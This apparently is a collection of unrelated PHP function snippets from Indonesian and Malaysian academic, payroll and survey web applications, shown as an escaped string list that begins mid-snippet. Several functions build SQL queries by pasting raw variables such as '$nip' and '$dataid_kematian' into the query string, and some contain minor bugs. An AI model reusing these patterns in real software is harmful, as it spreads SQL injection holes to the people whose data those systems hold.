\"\\r\\t\" . \n 'F3001, F3002, catatan_soalan3, ' .\n 'F5001, F5002, F5003, F5104, catatan_soalan5';\n\n //$jadual['medan'][]=$sama . 'catatan';\n $jadual['medan'][]=$sama . 'F4001, F4002, F4003, F4004';\n $jadual['medan'][]=$sama . 'F4101, F4102, F4103, F4104';\n $jadual['medan'][]=$sama . 'F4201, F4202, F4203, F4204';\n $jadual['medan'][]=$sama . 'catatan \"Nota \", F4302, F4303, F4304';\n\n // bulanan\n //$bulan=($_GET['bln']==null)? '':'AND siri_kekerapan=\"'.bersih($_GET['bln']).'\"';\n $bulan_penuh = array('Januari', 'Februari', 'Mac', 'April', \n 'Mei', 'Jun', 'Julai', 'Ogos', \n 'September', 'Oktober', 'November', 'Disember');\n //$kerap='\"'.$bulan_penuh[0].'\",\"'.$bulan_penuh[1].'\",\"'.$bulan_penuh[2].'\"';\n //$bulan=($_GET['bln']==null)? '':'AND j1.siri_kekerapan in ('.$kerap.')';\n //$myJadual=array('mm_rangka','mm_rangka');\n for($z=1;$z <= 4;$z++) { $jadual['nama'][]='prosesmm_info'; } // bil medan = 15\n for($z=1;$z <= 2;$z++) { $jadual['nama'][]='prosesmm_jualan'; }\n $jadual['nama'][]='prosesmm_info';\n for($z=1;$z <= 4;$z++) { $jadual['nama'][]='prosesmm_gajistaf'; }\n $join1='prosesmm_info';\n $join2='prosesmm_jualan';\n $join3='prosesmm_gajistaf';\n \n return $jadual;\n}",
"public static function tambah($data)\n {\n \nerror_reporting(\"E_ALL\") ;\n\n // data\n $detailgaji\t \t\t\t= new Detailgajiku;\n $detailgaji->kd_potongan\t\t= $data['kd_potongan'];\n\t\n $detailgaji->nomor \t\t= $data['nomor'];\n $detailgaji->jumlah \t\t= $data['jumlah'];\t\n\t\n // simpan\n return ($detailgaji->save()) ? true : false;\n }",
"private function _dataCetak($nim, $page)\n\t{\n\t\t$mahasiswas = $this->khsModel->selfData($nim);;\n\t\t$data['self_data'] = $mahasiswas;\n\n\t\tforeach ($mahasiswas as $mahasiswa)\n\t\t{\n\t\t\t$kelas = $mahasiswa->kelas;\n\t\t\t$_semester = $mahasiswa->semester;\n\t\t\t$nilai_real = 0;\n\t\t\t$nilai_akhir = '';\n\t\t\t$ip = 0;\n\t\t\t$jumlah_sks = 0;\n\t\t\t$jumlah_nilai_mutu = 0;\n\t\t\t$data['kelas'] = $kelas;\n\n\t\t\tif ($_semester === '1')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'I';\n\t\t\t}\n\n\t\t\telseif ($_semester === '2' )\n\t\t\t{\n\t\t\t\t$data['semester'] = 'II';\n\t\t\t}\n\n\t\t\telseif ($_semester === '3')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'III';\n\t\t\t}\n\n\t\t\telseif ($_semester === '4')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'IV';\n\t\t\t}\n\n\t\t\telseif ($_semester === '5')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'V';\n\t\t\t}\n\n\t\t\telseif ($_semester === '6')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'VI';\n\t\t\t}\n\n\t\t\telseif ($_semester === '7')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'VII';\n\t\t\t}\n\n\t\t\telseif ($_semester === '8')\n\t\t\t{\n\t\t\t\t$data['semester'] = 'VIII';\n\t\t\t}\n\t\t\t\n\t\t\t$matakuliahs = $this->khsModel->data_matakuliah($_semester, $kelas);\n\t\t\t$data['matakuliahs'] = $matakuliahs;\n\t\t\t$i = 1;\n\t\t\tforeach ($matakuliahs as $matakuliah)\n\t\t\t{\n\t\t\t\t$nilai_real = $this->khsModel->nilai_matakuliah($mahasiswa->nim, $matakuliah->id_ajar);\n\t\t\t\t$nilai_akhir = $this->khsModel->konversi_nilai($nilai_real);\n\t\t\t\t\n\t\t\t\t$jumlah_sks += $matakuliah->sks;\n\t\t\t\t$nilai_mutu = $nilai_akhir[1] * $matakuliah->sks;\n\t\t\t\t$jumlah_nilai_mutu += $nilai_mutu;\n\t\t\t\t$data['nilai'][''.$i] = array($nilai_akhir[0], $nilai_mutu); // huruf mutu // nilai huruf\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$ip = ($jumlah_nilai_mutu / $jumlah_sks > 0 ? $jumlah_nilai_mutu / $jumlah_sks : 0);\n\n\t\t\t$data['jumlah_sks'] = $jumlah_sks;\n\t\t\t$data['jumlah_nilai_mutu'] = $jumlah_nilai_mutu;\n\t\t\t$data['ips'] = $ip; // ip semester\n\t\t\t$data['ipk'] = $this->_ipk($mahasiswa->nim); // ip kumulatif\n\t\t\t$data['kelulusan'] = ($ip > 1.99 ? 'LULUS' : 'TIDAK LULUS');\n\t\t}\n\t\treturn $this->load->view($page,$data,TRUE);\n\t}",
"public function semuaData(){ \n return Mata_Kuliah::find(3)->Mahasiswa()->detach(); //gausah diisi arraynya\n }",
"public function data_biaya_kuliah()\n\t{\n\t\t$data['data'] = $this->m_aka->data_biaya_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'keuangan/data_biaya_kuliah';\n\t\t$this->load->view('content', $data);\n\t}",
"function tambah_data($perusahaan, $kategori, $nama_file, $masa_berlaku){\r\n\t\t\t$perusahaan \t= escape($perusahaan);\r\n\t\t\t$kategori \t\t= escape($kategori);\r\n\t\t\t$nama_file\t\t= escape($nama_file);\r\n\t\t\t$masa_berlaku\t= escape($masa_berlaku);\r\n\t\t\t\r\n\t\t\t$query \t= \"INSERT INTO data (pt, kategori, nama_file, masa_berlaku) VALUES ('$perusahaan', '$kategori', '$nama_file', '$masa_berlaku')\";\r\n\t\t\treturn run($query);\r\n\t\t}",
"function jabatan_data()\n\t{\t\t\n\t\t$data['j'] = $this->M_master->data_jabatan();\t\n\t\t$data['title'] = 'Data Jabatan';\t\t\n\t\t$data['isi'] = 'contents/jabatan_data';\n\t\t$this->load->view('wrapper', $data);\n\t}",
"function getDataSingkatPrakt($conn,$key,$pengajar=true,$nip='') {\n\t\t\t$sql = \"select k.thnkurikulum, k.kodemk, k.kodeunit, k.periode, k.kelasmk, k.koderuang,\n\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, c.namamk\n\t\t\t\t\tfrom \".static::table('ak_kelaspraktikum').\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\twhere \".static::getCondition($key,null,'k');\n\t\t\t$row = $conn->GetRow($sql);\n\t\t\t\n\t\t\t$row['jadwal'] = Date::indoDay($row['nohari']).', '.CStr::formatjam($row['jammulai']).' - '.CStr::formatjam($row['jamselesai']);\n\t\t\t//$row['jadwal2'] = Date::indoDay($row['nohari2']).', '.CStr::formatjam($row['jammulai2']).' - '.CStr::formatjam($row['jamselesai2']);\n\t\t\t\t\n\t\t\t// ambil data pengajar\n\t\t\tif($pengajar) {\n\t\t\t\t$sql = \"select p.idpegawai::text as nipdosen, akademik.f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as nama from \".static::table('ak_mengajar').\" a\n\t\t\t\t\t\tjoin sdm.ms_pegawai p on a.nipdosen::text = p.idpegawai::text\n\t\t\t\t\t\twhere \".static::getCondition($key,null,'a').\" order by a.nipdosen\";\n\t\t\t\t$rs = $conn->Execute($sql);\n\t\t\t\t\n\t\t\t\t$a_ajar = array();\n\t\t\t\twhile($rowa = $rs->FetchRow())\n\t\t\t\t\t$a_ajar[] = $rowa['nama'].' ('.$rowa['nipdosen'].')';\n\t\t\t\t\n\t\t\t\t$row['pengajar'] = implode('<br>',$a_ajar);\n\t\t\t}\n\t\t\tif(!empty($nip)){\n\t\t\t\t$sql = \"select idpegawai::text as nik, akademik.f_namalengkap(gelardepan,namadepan,namatengah,namabelakang,gelarbelakang) as nama \n\t\t\t\t\t\tfrom sdm.ms_pegawai where nik='$nip' or idpegawai::text='$nip'\";\n\t\t\t\t$rs=$conn->GetRow($sql);\n\t\t\t\t$row['pengajar'] =$rs['nama'].\" (\".$rs['nik'].\")\";\n\t\t\t}\n\t\t\treturn $row;\n\t\t}",
"function getDataSingkat($conn,$key,$pengajar=true,$nip='') {\n\t\t\t$sql = \"select k.thnkurikulum, k.kodemk, c.namamk, k.kodeunit, k.periode, k.kelasmk, k.koderuang,\n\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, k.nohari2, k.jammulai2, k.jamselesai2, k.nilaimasuk, k.kuncinilai,\n\t\t\t\t\tk.dayatampung,k.jumlahpeserta,k.isonline\n\t\t\t\t\tfrom \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\twhere \".static::getCondition($key,null,'k');\n\t\t\t$row = $conn->GetRow($sql);\n\t\t\t\n\t\t\t$row['jadwal'] = Date::indoDay($row['nohari']).', '.CStr::formatjam($row['jammulai']).' - '.CStr::formatjam($row['jamselesai']);\n\t\t\t$row['jadwal2'] = Date::indoDay($row['nohari2']).', '.CStr::formatjam($row['jammulai2']).' - '.CStr::formatjam($row['jamselesai2']);\n\t\t\t\n\t\t\t// ambil data pengajar\n\t\t\tif($pengajar) {\n\t\t\t\t$sql = \"select p.idpegawai::text as nipdosen, akademik.f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as nama from \".static::table('ak_mengajar').\" a\n\t\t\t\t\t\tjoin sdm.ms_pegawai p on a.nipdosen::text = p.idpegawai::text\n\t\t\t\t\t\twhere \".static::getCondition($key,null,'a').\" order by a.nipdosen\";\n\t\t\t\t$rs = $conn->Execute($sql);\n\t\t\t\t\n\t\t\t\t$a_ajar = array();\n\t\t\t\twhile($rowa = $rs->FetchRow())\n\t\t\t\t\t$a_ajar[] = $rowa['nama'];\n\t\t\t\t\n\t\t\t\t$row['pengajar'] = implode('<br>',$a_ajar);\n\t\t\t}\n\t\t\tif(!empty($nip)){\n\t\t\t\t$sql = \"select idpegawai::text as nik, akademik.f_namalengkap(gelardepan,namadepan,namatengah,namabelakang,gelarbelakang) as nama \n\t\t\t\t\t\tfrom sdm.ms_pegawai where nik='$nip' or idpegawai::text='$nip'\";\n\t\t\t\t$rs=$conn->GetRow($sql);\n\t\t\t\t$row['pengajar'] =$rs['nama'];\n\t\t\t}\n\t\t\treturn $row;\n\t\t}",
"private function setData($data) {\r\n\t\t$this->set_cd_jogo($data[\"cd_jogo\"]);\r\n\t\t$this->set_nm_jogo($data[\"nm_jogo\"]);\r\n\t\t$this->set_vl_jogo($data[\"vl_jogo\"]);\r\n\t\t$this->set_ds_sinopse(utf8_decode($data[\"ds_sinopse\"]));\r\n\t\t$this->set_dt_lancamento($data[\"dt_lancamento_jogo\"]);\r\n\t\t$this->set_ds_requisito_minimo($data[\"ds_requesito_minimo\"]);\r\n\t\t$this->set_ds_requisito_sugerido($data[\"ds_requesito_sugerido\"]);\r\n\t}",
"function cargar_dato($dato)\t\t\t\r\n {\r\n $ncampos=5;\r\n\tif($ncampos==count($dato))\r\n\t{\r\n\t $this->id_aplicacion=$dato[0];\r\n\t $this->nombre_subaplicacion=$dato[1]; \r\n $this->file_subaplicacion=$dato[2];\r\n $this->imagen_subaplicacion=$dato[3];\r\n $this->orden_subaplicacion=$dato[4];\r\n\t} \r\n }",
"public function data_paket($tahun){\n\t\t$data[\"baris_data\"] = array();\n\t\t$data[\"total_data\"] = array();\n\t\t$no \t= 1;\n\n\n\t\t$result_data\t\t= $this->model->data_paket($tahun);\n\t\tforeach ($result_data->result() as $rows_data) {\n\t\t\t$data[\"baris_data\"][] = array(\n\t\t\t\t\t\t\t\t\t\t\t\"no\"\t\t\t\t\t\t=> $no++,\n \"id_paket\"\t\t\t\t\t=> $rows_data->lls_id,\n \"nama_paket\"\t\t\t\t=>\n \"<b>Nama Paket : </b>\".$rows_data->pkt_nama.\"<br>\".\n \"<b>Kode SiRUP : </b>\".$rows_data->rup_id.\"<br>\".\n \"<b>Tahun : </b>\".$rows_data->tahun.\"<br>\",\n\t\t\t\t\t\t\t\t\t\t\t\"nama_opd\"\t\t\t\t\t=> $rows_data->stk_nama,\n \"nama_ppk\" => $rows_data->peg_nama,\n\t\t\t\t\t\t\t\t\t\t\t\"total_pagu\"\t\t\t\t=> number_format($rows_data->pkt_pagu),\n\t\t\t\t\t\t\t\t\t\t\t\"pemenang\"\t\t\t\t\t=> $rows_data->nama_rekanan_gabung,\n\t\t\t\t\t\t\t\t\t\t\t\"total_realisasi\"\t\t\t=> number_format($rows_data->rsk_nilai)\n\t\t\t\t\t\t\t\t\t);\n\t\t}\n\t\techo json_encode($data);\n }",
"function analisisK($perangkaan, $jadual, $key, $data)\n{\n\t$sv = $perangkaan['sv'];\n\t$hasil = $perangkaan['hasil'];\n\t$belanja = $perangkaan['belanja'];\n\t$aset = $perangkaan['aset'];\n\t$sewa = $perangkaan['asetsewa'];\n\t$noKey = substr($key, 0, 3);\n\t//echo \"<hr>$key : $sewaHarta \";\n\t\n\tif (in_array($key, array('thn','batch','Estab') ) )\n\t{\n\t\t$value = $data;\n\t\t\n\t}\n\telseif ($sv=='205') \n\t{//untuk survey 205 sahaja\n\t\tif ($jadual == 'q04_2010' && $noKey == 'F09') \n\t\t\t$nilai = ($sewa==0) ? 0 : (($data / $sewa) * 100);\n\t\telseif ($jadual == 'q04_2010' && $noKey != 'F09') \n\t\t\t$nilai = ($aset==0) ? 0 : (($data / $aset) * 100);\n\t\telseif ($jadual == 'q08_2010')\n\t\t\t$nilai = ($hasil==0) ? 0 : (($data / $hasil) * 100 );\n\t\telseif ($jadual == 'q09_2010')\n\t\t\t$nilai = ($belanja==0) ? 0 : (($data / $belanja) * 100 );\n\t\t$value = number_format($nilai,4,'.',',') . '%';\n\t\t$name = 'name=\"' . $sv . '_' . $jadual . '[' . $key . ']\"';\n\t}\n\telse\n\t{\n\t\tif ($jadual == 's'.$sv.'_q02_2010')\n\t\t\t$nilai = ($hasil==0) ? 0 : (($data / $hasil) * 100 );\n\t\telseif ($jadual == 's'.$sv.'_q03_2010')\n\t\t\t$nilai = ($belanja==0) ? 0 : (($data / $belanja) * 100 );\n\t\telseif ($jadual == 's'.$sv.'_q04_2010')\n\t\t\t$nilai = ($aset==0) ? 0 : (($data / $aset) * 100 );\n\t\t$value = number_format($nilai,4,'.',',') . '%';\n\t\t$name = 'name=\"' . $jadual . '[' . $key . ']\"';\n\n\t}\n\t// istihar pembolehubah \n\t$input = '<input type=\"text\" ' . $name . ' value=\"' \n\t\t . $data . '\" class=\"input-large\">' . $value;\n\treturn '<td>' . $input . '</td>' . \"\\r\";\n}",
"function tampil_data()\n\t{\n\t\t# perintah join digunakan untuk menggabungkan 2 table, yaitu penduduk dan kematian, agar data yang tampil lebih detail, karena pada tabel kematian hanya terdapat sedikit kolom, sehingga dengan menambah kolom nik, maka data yang ada di tabel penduduk juga otomatis terdeteksi karena perintah join, dengan aturan, nik harus sama antara tabel kematian dan nik yang ada di penduduk.\n\t\treturn $this->db->query(\"SELECT*FROM `kematian` left join penduduk on kematian.nik = penduduk.nik\")->result();\n\t}",
"public function tratarDados(){\r\n\t\r\n\t\r\n }",
"public function apakahDataKosong() {\n $this->ambilData();\n if (empty($this->daftar_barang)) {\n return true;\n }\n return false;\n }",
"private function setData($data){\n if (!empty($data['nis'])){ \n $siswa = $this->em->find('SiswaEntity', $data['nis']);\n $this->sertifikat->setSiswa($siswa); \n }\n if (!empty($data['tempat_ujian'])) : $this->sertifikat->setTempat_ujian($data['tempat_ujian']); endif;\n if (!empty($data['tgl_ujian'])) {\n $tgl_arr = explode('-', $data['tgl_ujian']);\n $tgl = new DateTime();\n $tgl->setDate($tgl_arr[0], $tgl_arr[1], $tgl_arr[2]);\n $this->sertifikat->setTgl_ujian($tgl);\n }\n if (!empty($data['juz'])) : $this->sertifikat->setJuz($data['juz']); endif;\n if (!empty($data['nilai'])) : $this->sertifikat->setNilai($data['nilai']); endif;\n if (!empty($data['predikat'])) : $this->sertifikat->setPredikat($data['predikat']); endif;\n if (!empty($data['keterangan'])) : $this->sertifikat->setKeterangan($data['keterangan']); endif;\n }",
"function tambah_data_wakel(){\n\t\tGLOBAL $koneksi;\n\t\t$query2 = mysqli_query($koneksi,\"SELECT max(kelas.id_kelas) AS 'id' FROM kelas\");\n\t\t$data = mysqli_fetch_assoc($query2);\n\n\t\t$w_kelas = (int)strip_tags(trim($_POST['wali_kelas']));\n\t\t$id_kelas = $data['id'];\n\t\t$query = \"INSERT INTO wali_kelas VALUES(NULL,'$w_kelas','$id_kelas')\";\n\n\t\treturn run_query($query); \t\t\n\t}",
"public function karyawan(){\n $this->setActualJadwal(TRUE);\n $this->load->model('jadwal_detail_model', 'jdm');\n $periodeTerpilih = $this->input->post('periode');\n if(empty($periodeTerpilih)){\n $tanggalTerpilih = date('Y-m-d');\n }else{\n $tanggalTerpilih = date($periodeTerpilih.'-01');\n }\n \n $idJadwal = $this->jdm->fields(['jadwal_id'])->get_by(['nik' => $this->getNIK(), 'tanggalabsensi' => $tanggalTerpilih]);\n if(!empty($idJadwal)){\n $this->load->model('User_model', 'um');\n $_POST['key'] = ['id' => $idJadwal->jadwal_id];\n $bawahan = $this->getBawahan();\n $nikBawahan = array_column($this->um->as_array()->fields('ref_nik')->get_many(array_keys($bawahan)),'ref_nik');\n $this->setFilterNik($nikBawahan);\n $this->setMarkToday(TRUE);\n $this->edit();\n }else{\n echo 'Data jadwal tidak ditemukan untuk tanggal '.tglIndonesia($tanggalTerpilih);\n }\n }",
"public function data_tahun_ajaran()\n\t{\n\t\t$data['data'] = $this->m_aka->data_tahun_ajaran(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'mata_kuliah/data_tahun_ajaran';\n\t\t$this->load->view('content', $data);\n\t}",
"function _is_pejabat_penunjang_nt(){\n\t\t$CI \t\t=& get_instance();\n\t\t$kd \t\t= $CI->session->userdata('kd_dosen');\n\t\t$tgl \t\t= date('d-m-Y');\n\t\t$api_url \t= URL_API_SIMPEG1.'simpeg_mix/data_search';\n\t\t$parameter = array('api_kode' =>1121, 'api_subkode' => 3, 'api_search' => array($tgl, $kd, 1));\n\t\t$data = $CI->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t//print_r ($data);\n\t\t$value = array();\n\t\t//echo $data[count($data)-1]->STR_NAMA;\n\t\tif(!empty($data)){\n\t\t\t//$kd_jab \t= $data[count($data)-1]->STR_ID;\n\t\t\t//ini harusnya yang aktif, bukan yang index 0 ; \n\t\t\tforeach ($data as $d) {\n\t\t\t\t$kd_jab \t= $d->STR_ID;\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/jabatan';\n\t\t\t\t$parameter = array('api_kode' =>20000, 'api_subkode' => 1, 'api_search' => array($kd_jab));\n\t\t\t\t$data2 = $CI->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\tif(!empty($data2)){\n\t\t\t\t\t//$value['nama_jabatan'] = $data[count($data)-1]->STR_NAMA;\n\t\t\t\t\t$value['nama_jabatan'] = $d->STR_NAMA;\n\t\t\t\t\t$value['sks_maks'] = $this->_get_sks_max($d->STR_ID);//$data2[0]->SKS_MAX;\n\t\t\t\t\t$value['bukti_penugasan'] = 'Surat Keputusan';\n\t\t\t\t\t$value['masa_penugasan'] = '1 Tahun';\n\t\t\t\t\t$value['tgl_mulai'] = $d->RR_TANGGAL_MULAI_F;\n\t\t\t\t\t$value['tgl_selesai'] = $d->RR_TANGGAL_AKHIR_F;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\treturn $value;\n\t\t#return $data;\n\t\t\n\t}",
"function getDataMahassiwa()\n{\n\t$data = array(\n\t\t\t\t\t\"nama\" => \"Edward\",\n\t\t\t\t\t\"npm\" \t=> \"17117369\",\n\t\t\t\t\t\"fakultas\" => \"Fakultas Ilmu Komputer & Teknologi Informasi\",\n\t\t\t\t\t\"jurusan\" => \"Sistem Informasi\"\n\t\t\t\t\t);\n\treturn $data;\n}",
"function dadosCadastros(){//função geral que será chamada na index\n pegaCadastrosJson();//pega os valores dos cadastros do arquivo JSON e salva em um array\n contaNumeroCadastros();//conta Quantos cadastros existem\n }",
"public function kumpul(){\r\n\t\t$no_tim=$this->session->userdata('no_tim');\r\n\t\t$soal = $this->input->post('soal');\r\n\t\tforeach ($soal as $key => $value) {\r\n\t\t\t$query = $this->Mysql->read('soal', array('no_soal'=>$value), 'no_soal', 'ASC', null, null)->row_array();\r\n\t\t\tif ($query['jawaban_benar']==$this->input->post('jawaban_'.$value)) {\r\n\t\t\t\t$isBenar = 1;\r\n\t\t\t}else{\r\n\t\t\t\t$isBenar = 0;\r\n\t\t\t}\r\n\t\t\t$data = array(\r\n\t\t\t\t\t'no_tim'=>$this->session->userdata('no_tim'),\r\n\t\t\t\t\t'no_soal'=>$value,\r\n\t\t\t\t\t'jawab'=>$this->input->post('jawaban_'.$value),\r\n\t\t\t\t\t'is_benar'=>$isBenar\r\n\t\t\t\t);\r\n\t\t\t$update = $this->Mysql->create('ljk',$data);\r\n\t\t}\r\n\t\tredirect(site_url('tim'), 'refresh');\r\n\t}",
"function spefisik($dataid_kematian)\n\t{\n\n\t\t# codenya sql sepert select*from penduduk where nik = $datanik dimna $datanik adalah yg sudah dipilih. jadi cuma 1 row.\n\t\t$query = $this->db->query(\"SELECT*FROM `kematian` left join penduduk on kematian.nik = penduduk.nik where id_kematian = '$dataid_kematian' \");\n\n\t\t// itu adalah perintah sql join 2 table, yaitupenduduk dan kematian, karena data yanglenkap ada ditable pendudukjadiharus dijoin, \n\t\treturn $query->row();\n\t\t\n\t}",
"function data($jenis, $detail = null, $action = null){\n\t\t\t\n\t\t$jenis = $this->security->xss_clean($this->uri->segment(5));\n\t\t$data['kode'] = $jenis;\n\t\t# set parameters \n\t\t$kd_dosen = $this->session->userdata(\"kd_dosen\");\n\t\t$thn = $this->session->userdata(\"ta\");\n\t\t$smt = $this->session->userdata(\"smt\");\n\t\t$status = $this->session->userdata(\"jenis_dosen\");\n\t\t\n\t\t$kd_ta = $this->setting->_generate_kd_ta($thn);\n\t\t$kd_smt = $this->setting->_generate_kd_smt($smt);\n\t\t\n\t\t $data['is_crud'] = $this->setting->_is_crud_bkd_lalu($kd_ta, $kd_smt);\n\t\t/*if($data['is_crud'] == 1){\n\t\t\t$data['tombol'] = 'style=\"display:block\"';\n\t\t}else{\n\t\t\t$data['tombol'] = 'style=\"display:none\"';\n\t\t} */\n\t\t\t\t\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_jadwal';\n\t\t$parameter = array();\n\t\t$jadwal = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\tif(!empty($jadwal)){\n\t\t\t$data['tombol'] = 'style=\"display:block\"';\n\t\t}else{\n\t\t\t$data['tombol'] = 'style=\"display:none\"';\n\t\t\t$data['tombol2'] = 'style=\"display:;\"';\n\t\t\t$data['tombol3'] = 'style=\"display:;pointer-events:none; cursor:default;\"';\n\t\t}\t\n\t\t\n\t\tif ($detail !== null){\n\t\t\tif ($action !== ''){\n\t\t\t\tswitch ($action){\n\t\t\t\t\tcase 'penugasan-isi': $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t\tcase 'penugasan-cari': {\n\t\t\t\t\t\t\t$data['view'] = 'dosen/cari_dokumen';\n\t\t\t\t\t\t}break;\n\t\t\t\t\tcase 'penugasan-upload': $data['view'] = 'dosen/upload_dokumen'; break;\n\t\t\t\t\tcase 'kinerja-isi': $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t\tcase 'kinerja-cari': {\n\t\t\t\t\t\t\t$data['view'] = 'dosen/cari_dokumen'; \n\t\t\t\t\t}break;\n\t\t\t\t\tcase 'kinerja-upload': $data['view'] = 'dosen/upload_dokumen'; break;\n\t\t\t\t\tdefault : $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t}\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/current_data_bkd';\n\t\t\t\t$parameter = array('api_search' => array($detail, $data['kode']));\n\t\t\t\t$data['current_data'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t\t\t# GET PARTNER\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/partner';\n\t\t\t\t$parameter = array('api_kode' => 11000, 'api_subkode' => 1, 'api_search' => array($detail,'PENELITIAN'));\n\t\t\t\t$data['partner'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\t\n\t\t\t\t$data['nama_partner'] = array();\n\t\t\t\tforeach ($data['partner'] as $p){\n\t\t\t\t\t$data['nama_partner'][$p->PARTNER] = $this->get_nama_partner($p->PARTNER);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/current_data_bkd';\n\t\t\t$parameter = array('api_search' => array($detail, $data['kode']));\n\t\t\t$data['current_data'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t}\n\t\t\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/data_bebankerja';\n\t\t$parameter = array('api_search' => array($data['kode'], $kd_dosen, $thn, $smt));\n\t\t$data['data_beban'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t// $temp_sks =0;\n\t\t// foreach ($data['data_beban'] as $key) {\n\t\t// \t$n_sks = (float) str_replace(\",\", \".\", $key->SKS_BKT);\n\t\t// \t$temp_sks +=$n_sks;\n\t\t// }\n\t\t\n\t\t//berubah dari sini \n\t\t//============================================\n\t\t$temp_sks = array();\n\t\tforeach ($data['data_beban'] as $key) {\n\t\t\t$n_sks = (float) str_replace(\",\", \".\", $key->SKS_BKT);\n\t\t\t//$temp_sks +=$n_sks;\n\n\t\t\tif(isset($temp_sks[$key->KD_KAT])){\n\t\t\t\t$temp_sks[$key->KD_KAT] += $n_sks;\n\t\t\t}else{\n\t\t\t\t$temp_sks[$key->KD_KAT] = $n_sks;\n\t\t\t}\n\t\t}\n\n\t\t//===========================================\n\n\n\n\t\t$kd=$this->session->userdata('kd_dosen');\n\t\t$ta = $this->session->userdata('kd_ta');\n\t\t$smt = $this->session->userdata('kd_smt');\n\n\t\t$kd_ta = $this->_generate_ta($ta);\n\t\t$kd_smt = $this->_generate_smt($smt);\n\t\t$this->session->unset_userdata('jenis_dosen');\n\t\t$this->session->set_userdata('jenis_dosen', $this->history->_status_DS($kd, $kd_ta, $kd_smt));\n\n\t\t\n\t\tswitch ($jenis) {\n\t\t\tcase 'A':\n\t\t\t\t$subkode = 1;//syarat pendidikan\n\t\t\t\tbreak;\n\t\t\tcase 'B':\n\t\t\t\t$subkode = 2;//syarat penelitian\n\t\t\t\tbreak;\n\t\t\tcase 'C':\n\t\t\t\t$subkode = 3;//syarat pengabdian\n\t\t\t\tbreak;\n\t\t\tcase 'D': case 'F': case 'H':\n\t\t\t\t$subkode = 4;//syarat penunjang\n\t\t\t\tbreak;\n\n\t\t}\n\t\t//get syarat dari API\n\t\t\t$syarat_minimal = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\tURL_API_BKD.'/bkd_beban_kerja/get_syarat_kesimpulan',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode' => 1000,\n\t\t\t\t\t\t\t'api_subkode' => $subkode, //untuk PENDIDIKAN\n\t\t\t\t\t\t\t'api_search' => array($this->history->_status_DS($kd, $kd_ta, $kd_smt))\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\n\t\t//$temp_sks;\n\t\tif(isset($syarat_minimal['NILAI'])){\n\t\t\t$syarat_sks = $syarat_minimal['NILAI'];\n\t\t}else{\n\t\t\t$syarat_sks = 0;\n\t\t}\n\t\t\n\t\t$i=0;\n\t\tforeach ($data['data_beban'] as $key) {\n\t\t\t$kd_bk = $key->KD_BK;\n\t\t\t$kd_kat = $key->KD_KAT;\n\t\t\t$status_pindah = $key->STATUS_PINDAH;\n\t\t\tif($status_pindah == 1){\n\t\t\t\t$kd_kat_remun = $kd_kat;\n\t\t\t}elseif($status_pindah == 0){\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_kd_kat_remun2';\n\t\t\t\t$parameter = array('api_search' => array($kd_kat));\n\t\t\t\t$kd_kat_remun = $this->s00_lib_api->get_api_json($api_url,'POST',$parameter);\n\t\t\t}\n\n\t\t\t//=======\n\n\t\t\t$temp_syarat = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\tURL_API_BKD.'/bkd_beban_kerja/get_syarat_kesimpulan_kat',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode' => 1000,\n\t\t\t\t\t\t\t'api_subkode' => $subkode, //untuk PENDIDIKAN\n\t\t\t\t\t\t\t'api_search' => array($this->history->_status_DS($kd, $kd_ta, $kd_smt), $kd_kat)\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\n\t\t\t$data['data_beban'][$i]->MINIMAL_SKS = $temp_syarat;\n\n\t\t\t//=======\n\n\t\t\t$data['data_beban'][$i]->KD_KAT_REMUN = $kd_kat_remun;\n\t\t\tif((($temp_sks[$kd_kat] - $data['data_beban'][$i]->SKS_BKT) >= $temp_syarat) AND $data['data_beban'][$i]->STATUS_PINDAH==0){\n\t\t\t\t$data['data_beban'][$i]->SYARAT_PINDAH = 1;//dapat dipindah\n\t\t\t}else{\n\t\t\t\t$data['data_beban'][$i]->SYARAT_PINDAH = 0;//tidak dapat dipindah\n\t\t\t}\n\t\t\t\n\t\t\t$i++;\n\t\t\t/*echo 